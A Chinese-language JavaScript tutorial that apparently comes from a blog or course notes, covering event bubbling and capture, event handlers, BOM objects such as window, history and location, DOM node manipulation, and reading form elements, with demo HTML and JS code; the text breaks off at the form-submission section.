事件的捕獲和冒泡

考API地址：https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95

添加一個監聽事件，首先我們看一下API的語法如下

addEventListener(type, listener);
addEventListener(type, listener, options);
addEventListener(type, listener, useCapture);

常用到的是第一個和第三個因為，useCapture默認值是false

useCapture 可選
一個布爾值，表示在 DOM 樹中注冊了 listener 的元素，是否要先于它下面的 EventTarget 調用該 listener。當 useCapture（設為 true）時，沿著 DOM 樹向上冒泡的事件不會觸發 listener。當一個元素嵌套了另一個元素，并且兩個元素都對同一事件注冊了一個處理函數時，所發生的事件冒泡和事件捕獲是兩種不同的事件傳播方式。事件傳播模式決定了元素以哪個順序接收事件。進一步的解釋可以查看 DOM Level 3 事件及 JavaScript 事件順序文檔。如果沒有指定，useCapture 默認為 false。

這個值的作用有什么用呢？下面我開始了我的摸索和見解。廢話不多說開始上demo演示。

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="節點1">
        <span>節點1</span>
        <div title="節點2">
            <span>節點2</span>
        </div>
    </div>

    <script>
        //  個人總結：false的話 就是事件冒泡了 從子元素到父元素
        // true的話   就是事件捕獲 從父到子！
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            // event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 處理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 執行綁定事件
        bindEvent()
    </script>
</body>

</html>

demo運行起來是這樣的效果

我們發現當div或者出發事件的元素存在嵌套的情況下，這個是控制事件的執行順序的。useCapture=false默認是冒泡，冒泡怎么理解呢就是水里的泡泡往上冒么，那么就是從子元素王父元素執行。

Capture=true就是捕獲點擊一下先相應父級元素的事件，然后傳遞到子元素。也就是先執行父的事件在執行子的事件。

還有一個就是阻止事件冒泡的 event.stopPropagation();

API文檔地址：https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation

我們改動一下我們的DEMO再看看

<!DOCTYPE html>
<html lang="zh-CN>
<head>
    <meta charset=" UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
    div {
        padding: 15px;
        border: 1px solid #e5f3fe;
        position: relative;
        overflow: hidden;
    }

    span {
        background-color: #f2f1f1;
        padding: 8px 15px;
        margin: 15px;
        display: inline-block;
    }

    .description {
        font-size: 22px;
        font-weight: 600;
    }
</style>
</head>

<body>
    <p class="description">
        ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
    </p>
    <label>
        <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
        useCapture=false
    </label>
    <label>
        <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
        useCapture=true
    </label>
    
    <div title="節點1">
        <span>節點1</span>
        <div title="節點2">
            <span>節點2</span>
        </div>
    </div>

    <script>
        //  個人總結：false的話 就是事件冒泡了 從子元素到父元素
        // true的話   就是事件捕獲 從父到子！
        let useCapture=false
        // 添加事件
        function bindEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.addEventListener('click', handleClick, useCapture)
            });
        }
        // 移除事件
        function removeEvent() {
            const targets=document.querySelectorAll('div')
            targets.forEach(element=> {
                element.removeEventListener('click', handleClick, useCapture)
            });
        }
        // div click handle
        function handleClick(event){
            event.stopPropagation()
            alert(this.getAttribute('title'))
        }
        // 處理 radio change
        function radioChange(checked) {
            removeEvent()             
            console.log('radioChange')
            console.log(checked)
            useCapture=checked=="true" ? true : false
            bindEvent()
        }
        // 執行綁定事件
        bindEvent()
    </script>
</body>

</html>

發現事件觸發了以后，就不再冒泡或者繼續往子元素傳遞了。這是我的理解和簡介歡迎大家拍磚。

要內容

事件

事件 (Event) 是 JavaScript 應用跳動的心臟，進行交互，使網頁動起來。當我們與瀏覽器中 Web 頁面進行某些類型的交互時，事件就發生了。事件可能是用戶在某些內容上的點擊、鼠標經過某個特定元素或按下鍵盤上的某些按鍵。事件還可能是 Web 瀏覽器中發生的事情，比如說某個 Web 頁面加載完成，或者是用戶滾動窗口或改變窗口大小。

? 通過使用 JavaScript ，你可以監聽特定事件的發生，并規定讓某些事件發生以對這些事件做出響應。

作用

（1）驗證用戶輸入的數據。
（2）增加頁面的動感效果。
（3）增強用戶的體驗度

事件中的幾個名詞

事件源: 誰觸發的事件
事件名: 觸發了什么事件
事件監聽: 誰管這個事情，誰監視？
事件處理:發生了怎么辦

例如

闖紅燈		事件源:車 ;   事件名: 闖紅燈;    監聽：攝像頭、交警 ;     處理:扣分罰款 
單擊按鈕   事件源:按鈕;   事件名: 單擊;     監聽:窗口 ;             處理:執行函數

? 當我們用戶在頁面中進行的點擊動作，鼠標移動的動作，網頁頁面加載完成的動作等，都可以稱之為事件名稱，即：click、mousemove、load 等都是事件名稱，具體的執行代碼處理，響應某個事件的函數。

<body onload="loadWindow();"></body>
<script>
	function loadWindow(){
     	alert("加載窗體");
	}
</script>

事件類型

? JavaScript可以處理的事件類型為：鼠標事件、鍵盤事件、HTML事件。

? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查

? Window 事件屬性：針對 window 對象觸發的事件（應用到標簽）

? Form 事件：由 HTML 表單內的動作觸發的事件（應用到幾乎所有 HTML 元素，但最常用在 form 元素中）

? Keyboard 事件 : 鍵盤事件

? Mouse 事件：由鼠標或類似用戶動作觸發的事件

? Media 事件：由媒介（比如視頻、圖像和音頻）觸發的事件（適用于所有 HTML 元素，但常見于媒介元素中，比如、、、以及）

? 幾個常用的事件：

? onclick 、onblur 、onfocus 、onload 、onchange

? onmouseover、onmouseout、onkeyup、onkeydown

onload：當頁面或圖像加載完后立即觸發

onblur：元素失去焦點

onfocus：元素獲得焦點

onclick：鼠標點擊某個對象

onchange：用戶改變域的內容

onmouseover：鼠標移動到某個元素上

onmouseout：鼠標從某個元素上離開

onkeyup：某個鍵盤的鍵被松開

onkeydown：某個鍵盤的鍵被按下

事件流和事件模型

? 我們的事件最后都有一個特定的事件源，暫且將事件源看做是HTML的某個元素，那么當一個HTML元素產生一個事件時，該事件會在元素節點與根節點之間按特定的順序傳播，路徑所經過的節點都會受到該事件，這個傳播過程稱為DOM事件流。

? 事件順序有兩種類型：**事件捕獲 **和 事件冒泡。

? 冒泡和捕獲其實都是事件流的不同表現，這兩者的產生是因為IE和Netscape兩個大公司完全不同的事件流概念產生的。（事件流：是指頁面接受事件的順序）IE的事件流是事件冒泡，Netscape的事件流是事件捕獲流。

事件冒泡

? IE的事件流叫做事件冒泡，即事件開始時由最具體的元素接受，然后逐級向上傳播到較為不具體的節點（文檔）。例如下面的：

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>JavaScript</title>
	</head>
	<body>
		<div id="myDiv">Click me</div>
	</body>
</html>

? 如果點擊了頁面中的

元素，那么這個click事件會按照如下順序傳播：

? 1、

? 2、

? 3、

? 4、document

? 也就是說，click事件首先在div元素上發生，而這個元素就是我們單擊的元素。然后，click事件沿DOM樹向上傳播，在每一級節點上都會發生，直到傳播到document對象。

? 所有現代瀏覽器都支持事件冒泡，但在具體實現上還是有一些差別。

事件捕獲

? Netscape提出的另一種事件流叫做事件捕獲，事件捕獲的思想是不太具體的節點應該更早接收到事件，而最具體的節點應該最后接收到事件。事件捕獲的用意在于在事件到達預定目標之前捕獲它。還以前面的例子為例。那么單擊

元素就會按下列順序觸發click事件：

? 1、document

? 2、

? 3、

? 4、

? 在事件捕獲過程中，document對象首先接收到click事件，然后沿DOM樹依次向下，一直傳播到事件的實際目標，即

元素。

? 雖然事件捕獲是Netscape唯一支持的事件流模式，但很多主流瀏覽器目前也都支持這種事件流模型。盡管“DOM2級事件”規范要求事件應該從document對象開始時傳播，但這些瀏覽器都是從window對象開始捕獲的。

DOM 事件流

? “DOM2級事件”規定的事件流包括三個階段：事件捕獲階段、處于目標階段和事件冒泡階段。首先發生的是事件捕獲階段，為截獲事件提供了機會。然后是實際的目標接收到事件。最后一個階段是冒泡階段，可以在這個階段對事件做出響應。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8WOxp342-1608883565334)(/圖片1dfgh.png)]

事件處理程序

? 事件就是用戶或瀏覽器自身執行的某種動作。例如click、load和mouseover都是事件的名字，而響應某個事件的函數就叫做事件處理程序（或事件偵聽器）。事件處理程序的名字以“on”開頭，因此click事件的事件處理程序就是onclick，為事件指定處理程序的方式有好幾種。

HTML 事件處理程序

? 某個元素支持的每種事件，都可以用一個與相應事件處理程序同名的HTML特性來指定。這個特性的值應該是能夠執行的JavaScript代碼：

<input type="button" value="Press me" onclick="alert('thanks');" />

? 這樣做有一些缺點，例如耦合度過高，還可能存在時差問題（當用戶點擊按鈕時，處理函數還未加載到，此時處理函數是單獨寫的一段js代碼），而且在不同的瀏覽器上可能會有不同的效果。

DOM0 級事件處理程序

? 通過JavaScript指定事件處理程序的傳統方式，就是將一個函數賦值給一個事件處理程序屬性。這種方式被所有現代瀏覽器所支持。這種方式首先必須取得一個要操作的對象的引用，每個元素都有自己的事件處理程序屬性，這些屬性通常全都小寫，例如onclick，然后將這種屬性的值設為一個函數，就可以指定事件處理程序了。例如：

<body>
    <button id="myBtn">按鈕</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn');
        btn.onclick=function(){
            console.log('you click a button');
        }
    </script>
</body>

? 以這種方式添加的事件處理程序會在事件流的冒泡階段被處理。而且，只能為同一個元素的同一個事件設定一個處理程序（覆蓋），也可以通過刪除DOM0級方法指定的事件處理程序，只要將屬性值設為null即可：

btn.onclick=null;

DOM2 級事件處理程序

? “DOM2級事件”定義了兩個方法，用于處理指定和刪除事件處理程序的操作：addEventListener()和removeEventListener()。所有DOM節點都包含這兩個方法，并且他們都接受3個參數：要處理的事件名、作為事件處理程序的函數和一個布爾值。最后這個布爾值參數如果是true，則表示在捕獲階段調用事件處理程序；如果是false則表示在冒泡階段調用事件處理程序。

<body>
    <button id="myBtn">按鈕</button>
    <script type="text/javascript">
        var btn=document.getElementById('myBtn')
        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2')
        },false)

        btn.addEventListener('click',function(){
            alert('you add a eventListener by DOM2 again')
        },false)

        function thread(){
            alert('you add a eventListener by DOM2 第三次')
        }
        btn.addEventListener('click',thread,false)
        btn.removeEventListener('click',thread,false)
    </script>
</body>

? 這種方式可以為同一個元素的同一個事件添加多個處理函數。還可刪除事件處理函數，注意，在刪除的時候，不能刪除匿名處理函數。

本節作業

1. 常用的幾種事件
2. 綁定事件的幾種方式

BOM對象

? BOM的核心對象是window，它表示瀏覽器的一個實例。window對象有雙重角色，它既是通過JavaScript訪問瀏覽器窗口的一個接口，又是ECMAScript規定的Global對象。這意味著在網頁中定義的任何一個對象、變量和函數，都以window作為其Global對象，因此有權訪問parseInt()等方法。如果頁面中包含框架，則每個框架都擁有自己的window對象，并且保存在frames集合中。在frames集合中，可以通過數值索引（從0開始，從左至右，從上到下）或者框架的名稱來訪問相應的window對象。

Window對象方法

系統對話框

? 瀏覽器通過（實際是window對象的方法）alert()、confirm()、prompt()方法可以調用系統對話框向用戶顯示消息。

（1）消息框:alert， 常用。
    alert() 方法用于顯示帶有一條指定消息和一個 OK 按鈕的警告框。
（2）輸入框:prompt，返回提示框中的值。
    prompt() 方法用于顯示可提示用戶進行輸入的對話框。
    參數（可選）：
       第一個參數：要在對話框中顯示的純文本。
 	   第二個參數：默認的輸入文本。
（3）確認框:confirm，返回 true/false.
confirm() 方法用于顯示一個帶有指定消息和 OK 及取消按鈕的對話框。

<style type="text/css">
	#aa{
		border: 1px solid red;
		height: 100px;
	}
</style>
<body>
	<div id="aa">
		This is a div
	</div>
	<button onclick="testAlert();">警告</button>
	<button onclick="testComfirm();">修改</button>
	<button onclick="testPrompt();">輸入</button>
	<script type="text/javascript">
		// 1.警告框
		function testAlert(){
			alert('警告框！！！');
		}			
	
        /*
		 2.輸入框
		 	返回值：輸入的內容
		 * */
		function testPrompt(){
			var item=prompt('請輸入年齡'); // item得到輸入的值
			// console.log(item)
			// alert(prompt('請輸入年齡',18)); // 將輸入的值輸出
		}
        
		/*
		 3.確認框
		 	返回值：boolean（true|false）
		 * */
		function testComfirm(){
			var result=confirm('真的要改嗎？');
			if(result){
				var ele=document.getElementById("aa");
				ele.style.color="red";
				ele.innerHTML="<span>fdsfsd</span>";
			}else{
				alert("沒事別瞎點。。。");
			}
		}
	</script>
</body>

打開窗口

? window.open()方法既可以導航到一個特定的URL也可以用來打開一個新的窗口

<script type="text/javascript">
function openBaidu(){
	window.open('http://www.baidu.com','_self'); // _self、_blank等
	// window.open();		//空白窗口
}
</script>
<input type="button" name="open" value="百度" onclick='openBaidu();' />

關閉窗口

? window.close()：關閉窗口。

? 例：點擊按鈕關閉當前窗口。

<input type="button" value="關閉窗口" onclick="window.close();" />

時間函數

setTimeout()

? setTimeout() : 在指定的毫秒數后調用函數或計算表達式。返回一個唯一的標識；也可以通過返回的標識cliearTimeout(id)：來清除指定函數的執行。

var id=setTimeout(function,times);

clearTimeout(id);

示例：

<script type="text/javascript">
	// 延遲3 秒后出現 alert
	function hello() { 
		  alert("對不起, 要你久候"); 
	}
	setTimeout("hello()", 3000);
    
    // 時間顯示器
	var timeout;
    function init(){
		   // 拿到當前時間
		   var date=new Date();
		   var time=date.toLocaleString();
		   // 拿到相應對象
	  	   var h1=document.getElementById('h1');
		   // 根據需求添加樣式
		   if(0==date.getSeconds()){	// 當時間的秒數變成0時，顯示紅色字體
			   h1.innerHTML='<span style="color:red">' + time + '</span>';
		   } else {
			   h1.innerHTML=time;
		   }
		   /*
		    * 	定時操作，只執行一次
		 	    第一個參數：執行的方法；第二個參數：定時，單位是毫秒
		    * */
		    setTimeout(init,1000);   // 等多少時間來執行
	}
	// window.setTimeout(init,1000);// 只執行一次		
	// 停止操作
	function stopShow () {
        clearTimeout(timeout);
    }
</script>
<body onload="init();">
	<h1 id="h1"></h1>
    <button onclick="stopShow()">時間停止</button>
</body>

? 在times毫秒后執行function指定的方法，執行之前也可以取消

setInteval()

? setInterval():可按照指定的周期（以毫秒計）來調用函數或計算表達式，也可根據返回的標識用來結束。該方法會不停地調用函數，直到 clearInterval() 被調用或窗口被關閉。

var id=setInterval(function,times);

clearInterval(id);

function test(){
	console.log(".....");
}
// window是一個全局對象，通過全局對象調用setInterval()函數
window.setInterval(test,1000);

history對象

? history 對象是歷史對象。包含用戶（在瀏覽器窗口中）訪問過的 URL。history 對象是 window 對象的一部分，可通過 window.history 屬性對其進行訪問。

? history對象的屬性：length，返回瀏覽器歷史列表中的 URL 數量。

? history對象的方法：

? back()：加載 history 列表中的前一個 URL。

? forward()：加載歷史列表中的下一個 URL。當頁面第一次訪問時，還沒有下一個url。

? go(number|URL): URL 參數使用的是要訪問的 URL。而 number 參數使用的是要訪問的 URL 在 History 的 URL 列表中的相對位置。go(-1)，到上一個頁面

013-history.html

<body>
	<a href="013-history-a.html">013-history-a.html</a>
	<h1>我是第一個頁面</h1>
    <input type="button"  value="前進" onclick="window.history.forward();" />
    <script>
        console.log(window.history);
    </script>
</body>

013-history-a.html

<body>
	<a href="013-history-b.html">013-history-b.html</a>
	<h1>我是A頁面</h1>
	<input type="button" value="后退"  onclick="window.history.back();"/>
</body>

013-history-b.html

<body>
	  <h1>我是B頁面</h1>
	  <input type="button" value="第一個頁面" onclick="window.history.go(-2);"/>
	  <input type="button" value="后退"  onclick="window.history.back();"/>
</body>

location對象

? location 對象是window對象之一，提供了與當前窗口中加載的文檔有關的信息，還提供了一些導航功能。也可通過 window.location 屬性來訪問。

? location 對象的屬性 href：設置或返回完整的 URL

? location 對象的方法

? reload()：重新加載當前文檔。

? replace()：用新的文檔替換當前文檔。

<script type="text/javascript">
	function openBaidu(){
        // 沒有歷史記錄,用新的文檔替換當前文檔
		// window.location.replace("http://www.baidu.com");
		// console.log(window.location.href); // 獲取完整的url
		window.location.href="http://www.baidu.com";
	}
</script>
<body>
	<input type="text"  value="" />
	<input type="button" value="刷新" onclick="window.location.reload();" />
	<input type="button"  value="百度" onclick="openBaidu();" />
</body>

本節作業

實現時間計時功能
JS的跳轉方式

DOM對象

? DOM：Document Object Model 文檔對象模型

? 要實現頁面的動態交互效果，bom 操作遠遠不夠，需要操作 html 才是核心。如何操作 htm，就是 DOM。簡單的說，dom 提供了用程序動態控制 html 接口。DOM即文檔對象模型描繪了一個層次化的節點樹，運行開發人員添加、移除和修改頁面的某一部分。dom 處于javascript 的核心地位上。

? 每個載入瀏覽器的 HTML 文檔都會成為 Document 對象。Document 對象使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。Document 對象是 Window 對象的一部分，可通過 window.document 屬性對其進行訪問。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-BShAnTK7-1608883565338)(/圖片1trj.png)]

節點

? 加載 HTML 頁面時，Web 瀏覽器生成一個樹型結構，用來表示頁面內部結構。DOM 將這種樹型結構理解為由節點組成，組成一個節點樹。對于頁面中的元素，可以解析成以下幾種類型的節點：

節點類型HTML內容例如文檔節點文檔本身整個文檔 document元素節點所有的HTML元素、、

屬性節點HTML元素內的屬性id、href、name、class文本節點元素內的文本hello注釋節點HTML中的注釋

? html --> 文檔節點

? div --> 元素節點

? title --> 屬性節點

? 測試 Div --> 文本節點

<html>
    <head>
        <title>樹!樹!到處都是樹!</title>
    </head>
    <body>
      <div title="屬性節點">測試 Div</div>
    </body>
</html>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-AVMijlup-1608883565345)(/圖片1fdgfh.png)]

操作元素的節點

? 當HTML文檔在被解析為一顆DOM樹以后，里面的每一個節點都可以看做是一個一個的對象，我們稱為DOM對象，對于這些對象，我們可以進行各式各樣的操作，查找到某一個或者一類節點對象，可以創建某種節點對象，可以在某個位置添加節點對象，甚至可以動態地刪除節點對象，這些操作可以使我們的頁面看起來有動態的效果，后期結合事件使用，就能讓我們的頁面在特定時機、特定的事件下執行特定的變換。

獲取節點

? 在進行增、刪、改的操作時，都需要指定到一個位置，或者找到一個目標，此時我們就可以通過Document對象提供的方法，查找、定位某個對象（也就是我們說的節點）。

? 注意：操作 dom 必須等節點初始化完畢后，才能執行。

? 處理方式兩種:

? （1）把 script 調用標簽移到html末尾即可；

? （2）使用onload事件來處理JS，等待html 加載完畢再加載 onload 事件里的 JS。

window.onload=function () { //預加載 html 后執行};

? 獲取方式如下：

方法描述getElementById()根據id獲取dom對象，如果id重復，那么以第一個為準getElementsByTagName()根據標簽名獲取dom對象數組getElementsByClassName()根據樣式名獲取dom對象數組getElementsByName()根據name屬性值獲取dom對象數組，常用于多選獲取值

<body>
	<p id="p1" class="para">這是一個段落<span>文本</span></p>
	<p id="p1" class="para">這又是一個段落</p>
	<input type="text" name="txt" />
	<input type="checkbox" name="hobby" value="游泳" />游泳
	<input type="checkbox" name="hobby" value="籃球" />籃球
	<input type="checkbox" name="hobby" value="足球" />足球
	<hr />
	<a href="javascript：void(0)" onclick="testById()">按照id獲取</a>
	<a href="javascript：void(0)" onclick="testByName()">按照name獲取</a>
	<a href="javascript：void(0)" onclick="testByTagName()">按照標簽名獲取</a>
	<a href="javascript：void(0);" onclick="testByClass();">按照class獲取</a>
</body>

? 說明：href=“javascript：void(0)”：偽協議，表示不執行跳轉，而執行指定的點擊事件。

<script type="text/javascript">
	// 按照id獲取元素
	function testById() {
		// 返回單個對象
		var p=document.getElementById("p1");
		console.log(p);
		// 表示獲取元素開始標簽和結束標簽之間的html結構
		console.log(p.innerHTML); 			
		console.log(p.innerText); // 表示獲取標簽之間的普通文本
	}

	// 按照name獲取元素
	function testByName() {
		// 對象數組
		var ho=document.getElementsByName("hobby");
		console.log(ho);
		for(var i=0; i <=ho.length - 1; i++) {
			console.log(ho[i].value);
		}
	}

	// 按照標簽名獲取元素
	function testByTagName() {
		// 對象數組
		var inputArr=document.getElementsByTagName("input");
		for(var i=0; i < inputArr.length; i++) {
			if(inputArr[i].type=="text") {
				console.log("text類型");
			} else if(inputArr[i].type=="checkbox") {
				if(inputArr[i].checked) {
					console.log(inputArr[i].value);
				}
			}
		}
	}

	// 按照class屬性獲取元素
	function testByClass() {
		// 對象數組
		var ps=document.getElementsByClassName("para");
		console.log(ps[0].innerHTML);
		ps[0].innerHTML +="這是一段新的文本";
	}
</script>

創建節點和插入節點

? 很多時候我們想要在某個位置插入一個新的節點，此時我們首先需要有一個節點存在，可以通過以下幾種方式創建新節點。

創建節點

方法描述createElement()創建一個新的節點，需要傳入節點的標簽名稱，返回創建的元素對象createTextNode()創建一個文本節點，可以傳入文本內容innerHTML也能達到創建節點的效果，直接添加到指定位置了

插入節點

方法描述write()將任意的字符串插入到文檔中appendChild()向元素中添加新的子節點，作為最后一個子節點insertBefore()向指定的已有的節點之前插入新的節點newItem：要插入的節點exsitingItem：參考節點需要參考父節點

<button onclick="add()">添加段落</button>
<div id="container"></div>
		
<script type="text/javascript">
	function add(){
	    var container=document.getElementById('container')
	    var paragraph=document.createElement('p');
	    var txt=document.createTextNode('hello')
	    paragraph.appendChild(txt)
	    container.appendChild(paragraph)
}
</script>

添加 “段落、圖片、文本框、選項”

<body>
	<button onclick="addPara();">添加段落</button>
	<button onclick="addImg();">添加圖片</button>
	<button onclick="addTxt();">添加文本框</button>
	<button onclick="addOptions()">添加選項</button> 
	<select name="music">
		<option value="-1">你心內的一首歌</option>
		<option value="0">南山南</option>
		<option value="1">喜歡你</option>
	</select>
	<hr />
	<div id="container"></div>
</body>

<script type="text/javascript">	
	// 添加p節點
	function addPara(){
		// 獲取容器
		var container=document.getElementById("container");
		// 創建段落<p></p>
		var p=document.createElement('p');  	
		// 第一種方式
		// 創建文本節點
		var txt=document.createTextNode("以后的你會感謝現在努力的你");
		// 將txt節點追加到p節點中
		p.appendChild(txt);
		// 將p節點追加到container節點中
		container.appendChild(p);		
		/*
		// 第二種方式
		// 向p節點中添加內容
		p.innerHTML="以后的你會感謝現在努力的你";
		// 將p節點追加到container節點中
		container.appendChild(p);
		*/	
		/*
		// 第三種方式
		// 將字符串類型的p標簽內容添加到container中，不會添加多次
		var str="<p>以后的你會感謝現在努力的你</p>";
		container.innerHTML=str;
		*/
	}	
    
	// 添加圖片
	function addImg(){
		// 創建圖片
		var img=document.createElement("img") ;			
		/*
		// 設置屬性第一種方式
		// 設置img標簽的src屬性
		// img.src="http://www.baidu.com/img/bd_logo1.png";
		*/		
		// 設置屬性第二種方式
		// setAttribute() 方法添加指定的屬性，并為其賦指定的值。
		// 設置img的src屬性
		img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
		img.style.width='300px';		
		img.style.height='200px';			
		// 獲取容器
		var container=document.getElementById("container");
		// 將img節點追加到container中。
		container.appendChild(img);
	}	
    
	// 添加文本框
	function addTxt(){
		// 創建文本框
		var txt=document.createElement("input");	
		/*
		// 設置類型第一種方式
		txt.type="text"; 
		txt.value="添加成功";
		*/
		// 設置類型第二種方式
		txt.setAttribute('type', 'text');
		txt.setAttribute('value', '添加成功');
		/*
		 * txt.type='password'
		 * txt.value='123'
		 */
		// 獲取容器
		var container=document.getElementById("container");
		// 將txt節點追加到container中。
		container.appendChild(txt);
	}
    
	// 添加下拉框的選項			
	function addOptions(){
		// 第一種方式
		/*
		// 創建下拉項
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="油菜花" ;
		// 獲取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加 下拉項 
		sel.appendChild(option);
		*/					
		// 第二種方式:
		var option=document.createElement("option") ;
		option.value="2" ;
		option.text="不該" ;
		// 獲取下拉框
		var sel=document.getElementsByTagName("select")[0];
		// 添加下拉項
		sel.options.add(option);		
		// 第三種方式: 添加下拉項
		var sel=document.getElementsByTagName("select")[0];
		sel.innerHTML +="<option value='2'>英雄</option>" ;
	}			
</script>

間接查找節點

方法|屬性描述childNodes返回元素的一個子節點的數組firstChild返回元素的第一個子節點lastChild返回元素的最后一個子節點nextSibling返回元素的下一個兄弟節點parentNode返回元素的父節點previousSibling返回元素的上一個兄弟節點

刪除節點

方法|屬性描述removeChild()從元素中移除子節點

<script type="text/javascript">
	function delNode(){
		var programmer=document.getElementById("programmer");
		// 從父元素中刪除節點，獲取要刪除對象的父元素，然后從父元素中刪除該對象
		programmer.parentNode.removeChild(programmer);
	}
</script>
<body>
	<span id="programmer">程序猿</span>
	<a href="javascript：void(0)" onclick="delNode();">刪除</a>
</body>

表單

? 表單是我們頁面向后臺傳輸數據的一種非常常見的方式，在進行數據發送（請求發出）之前，我們應該現在頁面進行一系列數據合法性的驗證，節省不必要的錯誤數據的傳輸，以及提高用戶的體驗度。

獲取表單

前兩種常用

1、document.表單名稱
2、document.getElementById(表單 id);
3、document.forms[表單名稱]
4、document.forms[索引]; //從 0 開始

例如：

<body>
	<form id='myform' name="myform" action="" method="post"></form>
	<form id='myform2' name="myform2" action="" method="post"></form>
</body>
<script>
	//四種方式
	var form=document.getElementById("myform");
	form=document.myform;
	form=document.forms["myform"];
	form=document.forms[0];
	console.log(form);
</script>

獲取表單元素

獲取input元素

? 如 text password hidden textarea等，前兩種常用。

1)、通過 id 獲取：document.getElementById(元素 id);
2)、通過 form.名稱形式獲取: myform.元素名稱;    name屬性值
3)、通過 name 獲取 :document.getElementsByName(name屬性值)[索引] // 從0開始
4)、通過 tagName 數組 :document.getElementsByTagName('input')[索引] // 從0開始

<body>
	<form id='myform' name="myform" action="" method="get">		
		姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
		密碼:<input type="password" id="upwd" name="upwd" value="1234"/><br />
		<input type="hidden" id="uno" name="uno" value="隱藏域" />
		個人說明:<textarea name="intro"></textarea>
		<button type="button" onclick="getTxt();" >獲取元素內容</button>
	</form>
</body>
<script>
	function getTxt(){
		var uno=document.getElementById("uno");
		var uname=myform.uname;
		console.log(uname + "--------");
		var upwd=document.getElementsByTagName('input')[1] ;
		var intro=document.getElementsByName("intro")[0];				
		console.log(uno.value +"，"+ uname.value +"，"+ upwd.value +"，"+ intro.value);
	}
</script>

獲取單選按鈕

? 前提：將一組單選按鈕設置相同的name屬性值

? (1)獲取單選按鈕組：

document.getElementsByName("name屬性值");

(2)遍歷每個單選按鈕，并查看單選按鈕元素的checked屬性

? 若屬性值為true表示被選中，否則未被選中

? 選中狀態設定： checked=‘checked’ 或 checked=‘true’ 或 checked

? 未選中狀態設定：沒有checked屬性或 checked=‘false’

<form action="" name="myform">
	<input type="text" name="inputName" value="aaa" />
	<input type="radio" name="rad" value="1" />	1
	<input type="radio" name="rad" value="2"  /> 2
</form>
		
<script type="text/javascript">
	var radios=document.getElementsByName('rad');
	//radios[0].checked='checked'
	for(var i=0; i<radios.length; i++){
	    console.log(radios[i].checked + '---' + radios[i].value)
	}
</script>

獲取多選按鈕

? 操作方式與單選同理，不同之處在于可以多選

var ufav=document.getElementsByName("ufav");
var favstr="";
    for (i=0;i < ufav.length; i++){
        if(ufav[i].checked){
            favstr +=ufav[i].value+",";
        }
    }
favstr=favstr.substr(0,favstr.length-1);

獲取下拉選項

? （1）獲取 select 對象：

var ufrom=document.getElementById("ufrom");

? （2）獲取選中項的索引：

var idx=ufrom.selectedIndex;

? （3）獲取選中項 options 的 value屬性值：

var val=ufrom.options[idx].value;

? 注意：當通過options獲取選中項的value屬性值時，

? 若沒有value屬性，則取option標簽的內容

? 若存在value屬性，則取value屬性的值

? （4）獲取選中項 options 的 text：

var txt=ufrom.options[idx].text;

? 選中狀態設定：selected=‘selected’、selected=true、selected

? 未選中狀態設定：不設selected屬性

<body onload="init()">
	<form id='myform' name="myform" action="" method="">		
		來自:
		<select id="ufrom" name="ufrom">
			<option value="-1" >請選擇</option>
			<option value="0" selected="selected">北京</option>
			<option value="1">上海</option>
		</select><br />
		<button type="button" id="sub" name="sub">提交</button>
	</form>
</body>
<script>
	function init () {
		var sub=document.getElementById("sub");
		sub.onclick=function () {
			//獲取select對象
			var ufrom=document.getElementById("ufrom");
			console.log("表單對象：" + ufrom);
			//獲取選中的索引
			var idx=ufrom.selectedIndex;
			console.log("選中項的索引值：" + idx);
			//獲取選中項的value值
			var val=ufrom.options[idx].value;
			console.log("選中項的value屬性值：" + val);
			//獲取選中項的text
			var txt=ufrom.options[idx].text;
			console.log("選中項的text：" + txt);
		}
	}
</script>

提交表單

? （1）使用普通button按鈕+onclick事件+事件中編寫代碼:

